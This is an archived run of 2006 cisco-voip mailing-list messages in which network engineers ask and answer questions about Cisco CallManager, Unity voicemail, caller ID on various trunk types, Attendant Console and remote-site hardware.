Date: Mon Feb 13 14:58:15 2006
Subject: [cisco-voip] stop unity sending messages
Message-ID: <200602131457328.SM01568@3729434770>

I have to do the same thing with my unity.  If you get some good info
please forward it on to me.  Thanks in advance 

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From jonvoip at gmail.com  Mon Feb 13 16:26:37 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Mon Feb 13 16:26:41 2006
Subject: [cisco-voip] stop unity sending messages
In-Reply-To: <200602131457328.SM01568@3729434770>
References: <200602131457328.SM01568@3729434770>
Message-ID: <5d093f9a0602131326t6a22372csf0d13ca79e26f3f7@mail.gmail.com>

Have them create a rule that permanantly deletes the vmail emails

On 2/13/06, James Grace <jgrace at digitelusa.net> wrote:
>
>  I have to do the same thing with my unity.  If you get some good info
> please forward it on to me.  Thanks in advance
>
>
>
> James D. Grace
>
> *CCNP CCNA MCSE MCDBA*
>
> Sr. System Engineer / Professional Svc.
>
> *Digitel Corporation*
>
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>
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From Scott.Voll at wesd.org  Mon Feb 13 16:49:30 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Mon Feb 13 16:49:41 2006
Subject: [cisco-voip] Caller ID
Message-ID: <D713462ED535184D830F6F6301753E7E01BE1457@VISHNU.wesd.org>

Can anyone tell me on what interfaces CM 4.1 can accept and display
Caller ID.

 

I know PRI's work.  What about FXO, CAS, BRI, etc.

 

Thank

 

Scott

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From jonvoip at gmail.com  Mon Feb 13 16:54:28 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Mon Feb 13 16:54:32 2006
Subject: [cisco-voip] Caller ID
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE1457@VISHNU.wesd.org>
References: <D713462ED535184D830F6F6301753E7E01BE1457@VISHNU.wesd.org>
Message-ID: <5d093f9a0602131354j4a57e2e9k1654ee1646997896@mail.gmail.com>

BRI uses the same signaling as a PRI, so it works there

FXOs work... it will come in between the first and second ring (so if they
pickup before the 2nd ring, no CID).

A T1 CAS is another issue... while you can see digits in debugs, I have
never seen CID info... I would presume you can though.



Jonathan

On 2/13/06, Voll, Scott <Scott.Voll at wesd.org> wrote:
>
>  Can anyone tell me on what interfaces CM 4.1 can accept and display
> Caller ID.
>
>
>
> I know PRI's work.  What about FXO, CAS, BRI, etc.
>
>
>
> Thank
>
>
>
> Scott
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>
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From ealeatherman at gmail.com  Mon Feb 13 17:01:16 2006
From: ealeatherman at gmail.com (Ed Leatherman)
Date: Mon Feb 13 17:01:21 2006
Subject: [cisco-voip] Route Pattern/FAC question
Message-ID: <94a1afde0602131401y62cee164g285cad556092e544@mail.gmail.com>

I'm trying to build a scenario in the lab that functions like this:

Remote site (seperate CCM 4.1) has intercluster trunk to Main Campus CCM 4.1.
Also has PRI to PSTN.

If a remote site user dials an extension for the main campus, it will hit a
route pattern/Route List that has a route group containing the ICT first,
and then a route group containing the PSTN Gateway as the second item. So if
the WAN connection is down or out of bandwidth it translates the called
number and sends it out the PSTN gateway instead. So far so good.

What the remote site has now asked is to have forced auth. codes on long
distance PSTN calls. Is there a way to configure it such that for calls to
the main site callmanager only asks for a FAC if the call gets directed to
the PSTN? It seems i have to specify the FAC from route pattern page, which
will ask for a FAC every time even on ICT calls. I wasnt sure if there was a
more clever way to do it and get the desired effect.

I took a look at AAR, but it mentioned that it was for intrA-cluster calls
rather than intER-cluster calls.. and i'm not sure it would help me out
anyway since calls aren't re-routed in the event of WAN failure.

Thanks!
--
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
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From Matt.Slaga at us.didata.com  Mon Feb 13 18:14:52 2006
From: Matt.Slaga at us.didata.com (Matt Slaga (US))
Date: Mon Feb 13 18:15:23 2006
Subject: [cisco-voip] Caller ID
Message-ID: <C1FE15183DA37645BC0633BC604E44F0E69D04@USNAEXCH.na.didata.local>

Last I checked, the FXO-M1 worked for caller ID but only with H323.
Maybe that is fixed now.
 

 
________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Jonathan
Charles
Sent: Monday, February 13, 2006 4:54 PM
To: Voll, Scott
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Caller ID


BRI uses the same signaling as a PRI, so it works there

FXOs work... it will come in between the first and second ring (so if
they pickup before the 2nd ring, no CID).

A T1 CAS is another issue... while you can see digits in debugs, I have
never seen CID info... I would presume you can though.



Jonathan


On 2/13/06, Voll, Scott <Scott.Voll at wesd.org> wrote: 

	Can anyone tell me on what interfaces CM 4.1 can accept and
display Caller ID.

	 

	I know PRI's work.  What about FXO, CAS, BRI, etc.

	 

	Thank

	 

	Scott


	_______________________________________________
	cisco-voip mailing list
	cisco-voip at puck.nether.net
	https://puck.nether.net/mailman/listinfo/cisco-voip
	
	
	





-----------------------------------------
Disclaimer:

This e-mail communication and any attachments may contain
confidential and privileged information and is for use by the
designated addressee(s) named above only.  If you are not the
intended addressee, you are hereby notified that you have received
this communication in error and that any use or reproduction of
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From zthoran at yahoo.com  Mon Feb 13 18:29:54 2006
From: zthoran at yahoo.com (Zevier Thoran)
Date: Mon Feb 13 18:30:02 2006
Subject: [cisco-voip] IPCC Express Install Error - CRA Engine not starting
Message-ID: <20060213232954.82849.qmail@web37105.mail.mud.yahoo.com>

Hi,
After installing CRS 3.1 on CCM 3.3.4, the CRA Engine refuses to start...due to an 'Internal Windows error....'.  Also I see no \ccn folder under C:\winnt\system32\?
Thanks for any help.....
Zevier.


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 
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From erickbe at yahoo.com  Mon Feb 13 18:42:44 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Mon Feb 13 18:42:53 2006
Subject: [cisco-voip] Attendant Console line status issue
In-Reply-To: <C1FE15183DA37645BC0633BC604E44F0E69D04@USNAEXCH.na.didata.local>
Message-ID: <20060213234245.53415.qmail@web34303.mail.mud.yahoo.com>

Have a client with an AC peroblem with line status not
displaying right or refreshing. Attendant console
1.2(1) es14 running on CCM 3.3(4) and a receptionist
who is using Windows 98.  

They have 5 people listed in the speed dial window and
when someone gets a call listed in speed dial, the
line status of that person is not getting updated.
When the AC user gets a call and tries to transfer a
caller to that by dragging call onto speed dial then
the line status changes from showing they are
available to busy because they are on a call already. 

Is there a refresh interval that can be adjusted?

They have 140 people listed in the directory panel and
the line status is not displayed there. It's been
awhile, but I recall the directory only displaying
line status right if there was 10 or less people
displayed in the directory. I had them narrow it down
to 2 people listed and they had the same problem as
speed dial issue above.

Anything in TCD traces I can look for on this?

__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 

From pwalenta at wi.rr.com  Mon Feb 13 18:43:25 2006
From: pwalenta at wi.rr.com (Philip Walenta)
Date: Mon Feb 13 18:43:27 2006
Subject: [cisco-voip] Caller ID
In-Reply-To: <5d093f9a0602131354j4a57e2e9k1654ee1646997896@mail.gmail.com>
Message-ID: <200602132343.k1DNhM5s015864@ms-smtp-03.rdc-kc.rr.com>

T1 CAS supports ANI via feature group B or D.  I know it's one of those two.
Only supported on a limited set of devices.


  _____  

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Jonathan Charles
Sent: Monday, February 13, 2006 3:54 PM
To: Voll, Scott
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Caller ID


BRI uses the same signaling as a PRI, so it works there

FXOs work... it will come in between the first and second ring (so if they
pickup before the 2nd ring, no CID).

A T1 CAS is another issue... while you can see digits in debugs, I have
never seen CID info... I would presume you can though.



Jonathan


On 2/13/06, Voll, Scott <Scott.Voll at wesd.org> wrote: 

Can anyone tell me on what interfaces CM 4.1 can accept and display Caller
ID.

 

I know PRI's work.  What about FXO, CAS, BRI, etc.

 

Thank

 

Scott


_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip





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From netwirker at gmail.com  Mon Feb 13 21:24:49 2006
From: netwirker at gmail.com (netwirker)
Date: Mon Feb 13 21:25:00 2006
Subject: [cisco-voip] How to stop unity sending voice mesages to email
Message-ID: <43f13f73.1e966bf2.7fa3.52c5@mx.gmail.com>

Hi Philip,

I'm using UM. I delete current unity account, creat new exchange account for voice message only
and import into Unity (creat new unity account).  It works. 

I'm just wondering are any other ways to do this. Thanks!

Andrew
??

======== 2006-02-13 12:13:35 ???????? ========

Are you running in a voicemail only mode, or Unified Messaging mode?

If running Unified (which is what it sounds like), the only thing you can do is create an alternate exchange/ad user for the voicemail box (i.e. VMJoeSmith).

 From: cisco-voip-bounces at puck.nether.net [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of net w0rker
Sent: Monday, February 13, 2006 11:09 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] How to stop unity sending voice mesages to email


Hi guys,

I'm configuring Unity server(4.0) and would like to know how to stop unity sending voice mesages to email(exchange sever).
I just want to get voice messages from IP Phone.
Do you have any idea?

Thanks!

Andrew


= = = = = = = = = = = = = = = = = = = = = = 
?????????
??

??????????????netwirker
??????????????netwirker at gmail.com
???????????????2006-02-13
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From erickbe at yahoo.com  Tue Feb 14 00:58:44 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Tue Feb 14 00:58:51 2006
Subject: [cisco-voip] Attendant Console line status issue
In-Reply-To: <20060213234245.53415.qmail@web34303.mail.mud.yahoo.com>
Message-ID: <20060214055844.47812.qmail@web34313.mail.mud.yahoo.com>


Update to this... the tcd trace shows the line status
updates being sent to client. 

Found out the way they have a lot of their phones set
up is line 1 is DN 1234 in partition1 and line 2 is
same DN 1234 but in partition2. From reading docs this
sounds like it may be not good, but apparently this
supposedly has worked in past for awhile with no
problem. Stopping/starting TCD or rebooting the CCM
server seems to get it working for awhile again. 

Do all the people in directory and speed dials need to
be associated to the ac user for line status to work?
I haven't had to do this before and can't find it in
docs anywhere but just checking. I am going to get a
sniffer trace from client PC. The users in the speed
dial are good in the user directory (all fields filled
out correctly with telephone # that matches the IP
phone extension). 

--- Erick Bergquist <erickbe at yahoo.com> wrote:

> Have a client with an AC peroblem with line status
> not
> displaying right or refreshing. Attendant console
> 1.2(1) es14 running on CCM 3.3(4) and a receptionist
> who is using Windows 98.  
> 
> They have 5 people listed in the speed dial window
> and
> when someone gets a call listed in speed dial, the
> line status of that person is not getting updated.
> When the AC user gets a call and tries to transfer a
> caller to that by dragging call onto speed dial then
> the line status changes from showing they are
> available to busy because they are on a call
> already. 
> 
> Is there a refresh interval that can be adjusted?
> 
> They have 140 people listed in the directory panel
> and
> the line status is not displayed there. It's been
> awhile, but I recall the directory only displaying
> line status right if there was 10 or less people
> displayed in the directory. I had them narrow it
> down
> to 2 people listed and they had the same problem as
> speed dial issue above.
> 
> Anything in TCD traces I can look for on this?
> 
> __________________________________________________
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam
> protection around 
> http://mail.yahoo.com 
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 

From Nick.Kassel at Charles-Stanley.co.uk  Tue Feb 14 04:12:52 2006
From: Nick.Kassel at Charles-Stanley.co.uk (Nick Kassel)
Date: Tue Feb 14 04:13:03 2006
Subject: [cisco-voip] Call Park Reversion Display
Message-ID: <253FAE7A06B11B49A3A29770B2B8BAFC648210@CSEXCH01.charles-stanley.co.uk>

When calls are parked and revert back to the phone, the Call Park
Reversion text does not display on the phone anymore, so calls are being
answered as if it's the first time again, has anyone come across this
before, we have increased the Call Park Reversion display from 10 to 20
seconds but I am not sure if that affected this as it was done a while
ago.

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From Alexander.Wolf at world-direct.at  Tue Feb 14 05:41:43 2006
From: Alexander.Wolf at world-direct.at (Alexander Wolf)
Date: Tue Feb 14 05:41:53 2006
Subject: AW: [cisco-voip] Retrieving Phone lines status
Message-ID: <29E7A2E61B0FCC488E78EDA3E79313ABD627A6@www>

To my knowledge only (J)TAPI offers this kind of information.
AXL Servicability only shows you if the phone is registered or not.

Regards,
Alex
 

> -----Urspr?ngliche Nachricht-----
> Von: cisco-voip-bounces at puck.nether.net 
> [mailto:cisco-voip-bounces at puck.nether.net] Im Auftrag von 
> Raphael Pennisi
> Gesendet: Montag, 13. Februar 2006 17:37
> An: cisco-voip at puck.nether.net
> Betreff: [cisco-voip] Retrieving Phone lines status
> 
> 
> Hello everybody,
> we are writing a small application that given a phone 
> retrieves lines status (idle or in use). When operating with 
> a Cisco Call Manager Express the task is easy, we just use 
> AXL SOAP interface by sending a ISgetDevice request, as follow:
> 
> <SOAP-ENV:Envelope
>  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"    
>  xmlns:xsi="http://www.w3.org/2000/10/XMLSchema-instance" 
>  xmlns:xsd="http://www.w3.org/1999/XMLSchema"> 
> 	<SOAP-ENV:Body>      
> 		<axl xsi:type="request"
>                  xmlns="http://www.cisco.com/AXL/1.0"             
>                  xsi:schemaLocation="http://www.cisco.com/AXL/1.0   
>                  http://gkar.cisco.com/schema/axlsoap.xsd">           
> 		<request xsi:type="ISgetDevice">                        
> 			<ISgetDevice>                  
> 		<ISDevName>SEP000D28AF1606</ISDevName>                 
> 			</ISgetDevice>         
> 		</request>       
> 		</axl> 
> 	</SOAP-ENV:Body>
> </SOAP-ENV:Envelope>
> 
> Which gives a similar response:
> 
> <SOAP-ENV:Envelope
> xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
>        xmlns:xsi="http://www.w3.org/2000/10/XMLSchema-instance"
>        xmlns:xsd="http://www.w3.org/1999/XMLSchema"
> >  <SOAP-ENV:Body>
>    <axl xsi:type="response"
>       xmlns="http://www.cisco.com/AXL/1.0"
>       xsi:schemaLocation="http://www.cisco.com/AXL/1.0
>                            srst-its.xsd">
>        <response xsi:type="ISgetDeviceResponse">
>         <ISDevice>
>           <ISDevID>11</ISDevID>
>           <ISDevName>SEP000D28AF1606</ISDevName>
>           <ISDevType>IP Phone 7902</ISDevType>
>           <ISDevDesc>Raphael pennisi</ISDevDesc>
>           <ISDevUsername>SEP000D28AF1606</ISDevUsername>
>           <ISDevAddr>
>             <Xipv4Address>10.0.1.129 </Xipv4Address>
>           </ISDevAddr>
>           <ISPhoneLineList>
>            <ExtMapStatus>
>              <LineId>1</LineId>
>              <ExtId>19</ExtId>
>              <ExtNumber>49</ExtNumber>
>              <ExtStatus>true</ExtStatus>
>              <LineState>idle</LineState>
>             </ExtMapStatus>
>           </ISPhoneLineList>
>           <ISKeyPhone>false</ISKeyPhone>
>           <ISTapiClientAddr>
>             <Xipv4Address>10.0.0.111 </Xipv4Address>
>           </ISTapiClientAddr>
>           <ISDevStatus>registered</ISDevStatus>
>           <ISDevLastStatus>unregistered</ISDevLastStatus>
>           <ISDevChangeTime>8129</ISDevChangeTime>
>           <ISDevKeepAlives>13</ISDevKeepAlives>
>           <ISDevTapiCStatus>deceased</ISDevTapiCStatus>
>           <ISTapiCLastStatus>registered</ISTapiCLastStatus>
>           <ISTapiCChangeTime>6252882</ISTapiCChangeTime>
>           <ISTapiCKeepAlive>0</ISTapiCKeepAlive>
>         </ISDevice>
>       </response>
>    </axl>
>   </SOAP-ENV:Body>
> </SOAP-ENV:Envelope>
> 
> The problem araise with Cisco Call Manager, because it dont 
> understand this kind of request (ISgetDevice), and the line 
> state information we are looking for cannot be found with 
> getPhone or getLine AXL SOAP request (supported by Call Manager).
> 
> Thanks for any directions.
> 
> 
> 
> 
> 
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 


From lohnert at gmail.com  Tue Feb 14 05:44:18 2006
From: lohnert at gmail.com (Martin Lohnert)
Date: Tue Feb 14 05:44:23 2006
Subject: [cisco-voip] CallManager Tone Configuration
In-Reply-To: <8f9f19f00602130354h50a75dccj@mail.gmail.com>
References: <8f9f19f00602130354h50a75dccj@mail.gmail.com>
Message-ID: <1bfd8b6f0602140244x65df764dh3b7e0047ce167cf8@mail.gmail.com>

AFAIK, tones such as dialtone, busy, ring-out etc. are set by "Network
Locale."  So if your phones have different network locales assigned, they
will get different tones. This can be set at Device Pool, or the Device
itself...
Cheers,
Martin


On 2/13/06, Alan Su <cj.alan at gmail.com> wrote:
>
> Dear All,
>
> I was wondering if the tone heard from IP Phone can be configured in
> CallManager?
> 'Cuz one of my customer complained that the IP Phones they are using which
> are registered to different CallManagers present different tone when
> off-hook. I read the CCM admin guide but didn't find anything about this,
> only the locale might affect the tone. Does anyone have idea how to fix it?
> Any comment would be grateful. Thanks a lot~
>
>
> Regards,
>
>
> Alan
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>
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From Nesenk at kss.co.za  Tue Feb 14 07:08:24 2006
From: Nesenk at kss.co.za (Nesen Kisten)
Date: Tue Feb 14 07:08:40 2006
Subject: [cisco-voip] CCM Ip address change
Message-ID: <3E110434E2419D47883D119DD226ACA1E616FB@kss-jhb-exch-01.kss.co.za>

HI

 

Can I change IP address of existing Call Manager ?

 

Regards

 


This message, including any attachments is intended only for
the persons or entity to which it is addressed, and may 
contain privileged or confidential information. Retransmission, 
dissemination, copying, distribution, modification and / or 
publication of this message by a person other than the intended 
recipient is strictly prohibited by the sender. If you have 
received this message in error, or you feel it is unacceptable 
communication, a chain letter or offensive material of any nature, 
please delete the material and any copies from all systems and 
report it to: 

info at kss.co.za
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From kthorngr at cisco.com  Tue Feb 14 07:35:55 2006
From: kthorngr at cisco.com (Kevin Thorngren)
Date: Tue Feb 14 07:36:05 2006
Subject: [cisco-voip] CCM Ip address change
In-Reply-To: <3E110434E2419D47883D119DD226ACA1E616FB@kss-jhb-exch-01.kss.co.za>
References: <3E110434E2419D47883D119DD226ACA1E616FB@kss-jhb-exch-01.kss.co.za>
Message-ID: <e0a168b7fce509cd57c1a8cdcb4f4b6d@cisco.com>

Yes, please read this doc:
http://www.cisco.com/en/US/products/sw/voicesw/ps556/ 
products_tech_note09186a0080094601.shtml

Kevin
On Feb 14, 2006, at 7:08 AM, Nesen Kisten wrote:

> HI
> ?
> Can I change IP address of existing Call Manager ?
> ?
> Regards
> ?
> This message, including any attachments is intended only for the  
> persons or entity to which it is addressed, and may contain privileged  
> or confidential information. Retransmission, dissemination, copying,  
> distribution, modification and / or publication of this message by a  
> person other than the intended recipient is strictly prohibited by the  
> sender. If you have received this message in error, or you feel it is  
> unacceptable communication, a chain letter or offensive material of  
> any nature, please delete the material and any copies from all systems  
> and report it to:
> info at kss.co.za
>  ?
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
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From pwalenta at wi.rr.com  Tue Feb 14 08:39:40 2006
From: pwalenta at wi.rr.com (Philip Walenta)
Date: Tue Feb 14 08:39:43 2006
Subject: [cisco-voip] How to stop unity sending voice mesages to email
In-Reply-To: <43f13f73.1e966bf2.7fa3.52c5@mx.gmail.com>
Message-ID: <200602141339.k1EDdcA5007701@ms-smtp-03.rdc-kc.rr.com>

The method you use is currently the only way to do it.


  _____  

From: netwirker [mailto:netwirker at gmail.com] 
Sent: Monday, February 13, 2006 8:25 PM
To: Philip Walenta; cisco-voip at puck.nether.net; jgrace
Subject: Re: RE: [cisco-voip] How to stop unity sending voice mesages to
email


Hi Philip,
 
I'm using UM. I delete current unity account, creat new exchange account for
voice message only
and import into Unity (creat new unity account).  It works. 
 
I'm just wondering are any other ways to do this. Thanks!
 
Andrew
??
 
======== 2006-02-13 12:13:35 ???????? ========
 



Are you running in a voicemail only mode, or Unified Messaging mode?
 
If running Unified (which is what it sounds like), the only thing you can do
is create an alternate exchange/ad user for the voicemail box (i.e.
VMJoeSmith).
 
 From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of net w0rker
Sent: Monday, February 13, 2006 11:09 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] How to stop unity sending voice mesages to email



Hi guys,
 
I'm configuring Unity server(4.0) and would like to know how to stop unity
sending voice mesages to email(exchange sever).
I just want to get voice messages from IP Phone.
Do you have any idea?
 
Thanks!
 
Andrew
 

= = = = = = = = = = = = = = = = = = = = = = 

?????????
??

 
??????????????netwirker
??????????????netwirker at gmail.com
???????????????2006-02-13
 

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From CORTIZ at broward.org  Tue Feb 14 09:02:43 2006
From: CORTIZ at broward.org (Ortiz, Carlos)
Date: Tue Feb 14 09:02:52 2006
Subject: [cisco-voip] Attendant Console line status issue
Message-ID: <26B357EF9FB7D04A989C9E82A9E5436E01BC2DC0@MREXVS01.bc.broward.cty>

Erick,

I just installed this last week on CM 4.02a (sr2B).  In this version all
of the attendant console users are associated to the AC user but no one
else.  Line status shows after a quick second for users in the speed
dial tabs.  I had them break up the users into different tabs to make it
easier to use.

e.g   A-B-C (users with first names A-C), D-E-F (Users with first names
D-F) etc.  Haven't had any complaints so far.

Not sure what affect the 2 partitions different DN's would have.

Carlos

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Erick Bergquist
Sent: Tuesday, February 14, 2006 12:59 AM
To: erickbe at yahoo.com; cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Attendant Console line status issue


Update to this... the tcd trace shows the line status
updates being sent to client. 

Found out the way they have a lot of their phones set
up is line 1 is DN 1234 in partition1 and line 2 is
same DN 1234 but in partition2. From reading docs this
sounds like it may be not good, but apparently this
supposedly has worked in past for awhile with no
problem. Stopping/starting TCD or rebooting the CCM
server seems to get it working for awhile again. 

Do all the people in directory and speed dials need to
be associated to the ac user for line status to work?
I haven't had to do this before and can't find it in
docs anywhere but just checking. I am going to get a
sniffer trace from client PC. The users in the speed
dial are good in the user directory (all fields filled
out correctly with telephone # that matches the IP
phone extension). 

--- Erick Bergquist <erickbe at yahoo.com> wrote:

> Have a client with an AC peroblem with line status
> not
> displaying right or refreshing. Attendant console
> 1.2(1) es14 running on CCM 3.3(4) and a receptionist
> who is using Windows 98.  
> 
> They have 5 people listed in the speed dial window
> and
> when someone gets a call listed in speed dial, the
> line status of that person is not getting updated.
> When the AC user gets a call and tries to transfer a
> caller to that by dragging call onto speed dial then
> the line status changes from showing they are
> available to busy because they are on a call
> already. 
> 
> Is there a refresh interval that can be adjusted?
> 
> They have 140 people listed in the directory panel
> and
> the line status is not displayed there. It's been
> awhile, but I recall the directory only displaying
> line status right if there was 10 or less people
> displayed in the directory. I had them narrow it
> down
> to 2 people listed and they had the same problem as
> speed dial issue above.
> 
> Anything in TCD traces I can look for on this?
> 
> __________________________________________________
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam
> protection around 
> http://mail.yahoo.com 
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From Scott.Voll at wesd.org  Tue Feb 14 10:36:13 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Tue Feb 14 10:36:25 2006
Subject: [cisco-voip] Call Handler
Message-ID: <D713462ED535184D830F6F6301753E7E01BE148F@VISHNU.wesd.org>

Am I the only one that thinks it would be nice to be able to do a
transfers directly from a Call Handler rather then having to setup other
call handlers just to do a transfer to a extension?

 

Any better solutions out there?

 

Scott

 

PS.  Just for background I have two Unity servers.  One on old PBX and
the other connected to CM.  I have users that are now on both IP Phones
and PBX phones.  I'm trying to setup the IP Phones to forward to the PBX
phone if no one answers the phone. 

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From pwalenta at wi.rr.com  Tue Feb 14 10:44:33 2006
From: pwalenta at wi.rr.com (Philip Walenta)
Date: Tue Feb 14 10:44:37 2006
Subject: [cisco-voip] Call Handler
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE148F@VISHNU.wesd.org>
Message-ID: <200602141544.k1EFiVOv027401@ms-smtp-04.rdc-kc.rr.com>

If I understand this correctly -
 
Instead of the "attempt transfer for 'subscriber'" or call handler -
 
A real "attempt transfer to extension XXXXXX"?


  _____  

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Voll, Scott
Sent: Tuesday, February 14, 2006 9:36 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Call Handler



Am I the only one that thinks it would be nice to be able to do a transfers
directly from a Call Handler rather then having to setup other call handlers
just to do a transfer to a extension?

 

Any better solutions out there?

 

Scott

 

PS.  Just for background I have two Unity servers.  One on old PBX and the
other connected to CM.  I have users that are now on both IP Phones and PBX
phones.  I'm trying to setup the IP Phones to forward to the PBX phone if no
one answers the phone. 

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From Scott.Voll at wesd.org  Tue Feb 14 10:59:35 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Tue Feb 14 10:59:44 2006
Subject: [cisco-voip] Call Handler
Message-ID: <D713462ED535184D830F6F6301753E7E01BE1492@VISHNU.wesd.org>

YES.

 

Due to the fact that I can't attempt transfer to subscriber as they are
on the other unity box I have to create a call handler for each person
that transfers to there extension and go back to the main Call handler
and then caller input 1 equals caller handlers person A, 2 person B,
etc.

 

It would be nice to have a drop down 1 transfer extension xxxx.

 

Scott

 

________________________________

From: Philip Walenta [mailto:pwalenta at wi.rr.com] 
Sent: Tuesday, February 14, 2006 7:45 AM
To: Voll, Scott; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Call Handler

 

If I understand this correctly -

 

Instead of the "attempt transfer for 'subscriber'" or call handler -

 

A real "attempt transfer to extension XXXXXX"?

	 

	
________________________________


	From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Voll, Scott
	Sent: Tuesday, February 14, 2006 9:36 AM
	To: cisco-voip at puck.nether.net
	Subject: [cisco-voip] Call Handler

	Am I the only one that thinks it would be nice to be able to do
a transfers directly from a Call Handler rather then having to setup
other call handlers just to do a transfer to a extension?

	 

	Any better solutions out there?

	 

	Scott

	 

	PS.  Just for background I have two Unity servers.  One on old
PBX and the other connected to CM.  I have users that are now on both IP
Phones and PBX phones.  I'm trying to setup the IP Phones to forward to
the PBX phone if no one answers the phone. 

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From steve.siltman at assurant.com  Tue Feb 14 12:03:34 2006
From: steve.siltman at assurant.com (steve.siltman@assurant.com)
Date: Tue Feb 14 12:03:58 2006
Subject: [cisco-voip] Voice Hardware Questions
In-Reply-To: <200602141403.k1EE2qL2045940@puck.nether.net>
Message-ID: <OF73D2D76F.49DAD3DA-ON85257115.005BBCF3-86257115.005DB5BC@assurant.com>

I've been getting conflicting answers to hardware needed for a new remote 
site we are setting up.  I blame myself more due to the fact that I'm 
still very green at this stuff and my inability to ask the question 
intelligently enough.  I wanted to throw this at the trusty cisco-voip 
group of peeps.

New Remote Office Equipment:
Cisco 2821-V/K9 with PVDM2-32U48 using a VWIC2-1MFT-T1/E1

Having an issue with the LEC on getting a T1/PRI into the office.

The choices we have been given:

1.  Backhaul a T1/PRI to a CO thats farther away but the costs just 
doubled.
       - I can use the above equipment with this option but do I have to 
worry about distance to the CO?

2.  Analog group of lines (8 POTS lines)
      -  With this option, my Multi-Flex T1 card is useless.  Will the 
EVM-HD-8FS/DID module do the trick for me?   Can I use the DID ports on 
this module or do I need to add the EM-HDA-6FXO module?

3.  Trunk group of DID's with no CID
      - What hardware module would I need for this option?  This option is 
being talked about the most because of cost.

I've got a Call Manager Cluster at the home office with this site using 
SRST if the wan link goes away.  I'm running CM 4.1(3)sr1.

Any response would be appreciated.   This is our first remote office and 
its been challenging but loads of fun at the same time. 

Steve Siltman
Assurant, Inc.
Senior Network Analyst
Work: 651-361-4752
Cell: 651-336-5563
steve.siltman at assurant.com
**************************************************************************************
This e-mail message and all attachments transmitted with it may contain legally privileged and/or confidential information intended solely for the use of the addressee(s). If the reader of this message is not the intended recipient, you are hereby notified that any reading, dissemination, distribution, copying, forwarding or other use of this message or its attachments is strictly prohibited. If you have received this message in error, please notify the sender immediately and delete this message and all copies and backups thereof.

Thank you.
**************************************************************************************
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From akoul at dataways.gr  Tue Feb 14 12:09:36 2006
From: akoul at dataways.gr (Anthony Kouloglou)
Date: Tue Feb 14 12:09:55 2006
Subject: [cisco-voip] Parity errors at E3 controller on 7304 router
Message-ID: <43F20ED0.40709@dataways.gr>

Hi all,
i have a voip network and a gateway in the cluster is a cisco 7304 
carrying a E3 controller (PA-A3-E3). Each day, the controller gets shut 
suddenly and it does not work untill i give "no shut". I can see in the 
"show controllers" that there are a lot of Parity errors.
The E3 line was working fine at the old 7500 series with exactly the 
same E3 controller.
What could be possible wrong?

Thanks



From Court.Schuett at us.millwardbrown.com  Tue Feb 14 12:38:38 2006
From: Court.Schuett at us.millwardbrown.com (Schuett, Court (MBNAP it))
Date: Tue Feb 14 12:38:48 2006
Subject: [cisco-voip] How to stop unity sending voice mesages to e mail
Message-ID: <90B962BEA7D42F40BF0DF00044A5A1B60CA9B3BF@x-np5.am.group.local>

